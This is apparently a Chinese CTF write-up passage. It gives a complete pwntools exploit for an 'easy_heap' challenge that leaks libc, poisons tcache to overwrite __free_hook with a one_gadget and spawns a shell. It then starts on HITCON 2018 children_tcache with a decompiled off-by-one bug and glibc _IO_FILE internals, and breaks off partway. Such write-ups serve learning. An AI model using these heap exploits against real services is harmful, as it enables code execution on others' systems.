#泄漏libc地址:
for i in range(9) :
p.recvuntil('> ')
data = u64(p.recv(6).ljust(8,'\x00'))
libc_base = data - 4111520
log.success('libc base is :'+hex(libc_base))
free_hook = libc_base + 4118760
one_gadget = libc_base + 0x4f322
log.success('free hook is :'+hex(free_hook))
for i in range(7) :
create(0xf0,'\n')
create(0xf0,'\n')
delete(0) #空出一个位置来为后面做准备
delete(8)
delete(9)
create(0xf0,p64(free_hook))
create(0xf0,p64(free_hook)) tcache指向了free_hook
create(0xf0,p64(one_gadget)) 修改为one_gadget
delete(1) #触发
EXP:
from pwn import *
p = process('./easy_heap')
libc = ELF('easy_heap')
elf = ELF('./libc64.so')
context.log_level = 'debug'
def create(size,content) :
p.sendlineafter('> ','1')
p.sendlineafter('> ',str(size))
p.sendlineafter('> ',content)
def show(index) :
p.sendlineafter('> ','3')
p.sendlineafter('> ',str(index))
def delete(index) :
p.sendlineafter('> ','2')
p.sendlineafter('> ',str(index))
for i in range(10):
create(0xf8,'A'*0xf0)
delete(1)
delete(3)
for i in range(5,10):
delete(i)
delete(0)
delete(2)
delete(4)
for i in range(7) :
create(0xf0,'\n')
create(0xf0,'\n')
create(0xf8,'\n')
for i in range(5) :
delete(i)
delete(6)
delete(5)
show(8)
for i in range(9) :
p.recvuntil('> ') #此处不太准确,根据自己环境自行修改
data = u64(p.recv(6).ljust(8,'\x00'))
libc_base = data - 4111520
log.success('libc base is :'+hex(libc_base))
free_hook = libc_base + 4118760
one_gadget = libc_base + 0x4f322
log.success('free hook is :'+hex(free_hook))
for i in range(7) :
create(0xf0,'\n')
create(0xf0,'\n')
delete(0)
delete(8)
delete(9)
create(0xf0,p64(free_hook))
create(0xf0,p64(free_hook))
create(0xf0,p64(one_gadget))
delete(1)
p.interactive()
2018 HITCON children_tcache:
这也是一道常规题,看一下伪代码可以发现也是只有一个null-byte-one漏洞:
unsigned __int64 create()
{
signed int i; // [rsp+Ch] [rbp-2034h]
char *dest; // [rsp+10h] [rbp-2030h]
unsigned __int64 size; // [rsp+18h] [rbp-2028h]
char s; // [rsp+20h] [rbp-2020h]
unsigned __int64 v5; // [rsp+2038h] [rbp-8h]
v5 = __readfsqword(0x28u);
memset(&s, 0, 0x2010uLL);
for ( i = 0; ; ++i )
{
if ( i > 9 )
{
puts(":(");
return __readfsqword(0x28u) ^ v5;
}
if ( !qword_202060[i] )
break;
}
printf("Size:");
size = sub_B67();
if ( size > 0x2000 ) // size < 0x2000
exit(-2);
dest = malloc(size);
if ( !dest )
exit(-1);
printf("Data:");
sub_BC8(&s, size);
strcpy(dest, &s); // off by one
qword_202060[i] = dest;
qword_2020C0[i] = size;
return __readfsqword(0x28u) ^ v5;
}
size_t
_IO_new_file_xsputn (FILE *f, const void *data, size_t n)
{
...
if ((f->_flags & _IO_LINE_BUF) && (f->_flags & _IO_CURRENTLY_PUTTING)) //flag bypass
{
...
}
...
if (to_do + must_flush > 0)
{
size_t block_size, do_write;
if (_IO_OVERFLOW (f, EOF) == EOF)
return to_do == 0 ? EOF : n - to_do;
...
}
然后会调用_IO_new_file_overflow:
int
_IO_new_file_overflow (_IO_FILE *f, int ch)
{
if (f->_flags & _IO_NO_WRITES) /* SET ERROR */ --> false
{
f->_flags |= _IO_ERR_SEEN;
__set_errno (EBADF);
return EOF;
}
/* If currently reading or no buffer allocated. */
if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_IO_write_base == NULL)
{
:
:
}
if (ch == EOF)
return _IO_do_write (f, f->_IO_write_base,
f->_IO_write_ptr - f->_IO_write_base);
然后调用_IO_do_write:
static
_IO_size_t
new_do_write (_IO_FILE *fp, const char *data, _IO_size_t to_do)
{
_IO_size_t count;
if (fp->_flags & _IO_IS_APPENDING) --> false
/* On a system without a proper O_APPEND implementation,
you would need to sys_seek(0, SEEK_END) here, but is
not needed nor desirable for Unix- or Posix-like systems.
Instead, just indicate that offset (before and after) is
unpredictable. */
fp->_offset = _IO_pos_BAD;
else if (fp->_IO_read_end != fp->_IO_write_base)
{
............
}
count = _IO_SYSWRITE (fp, data, to_do); --> 我们所需要的目标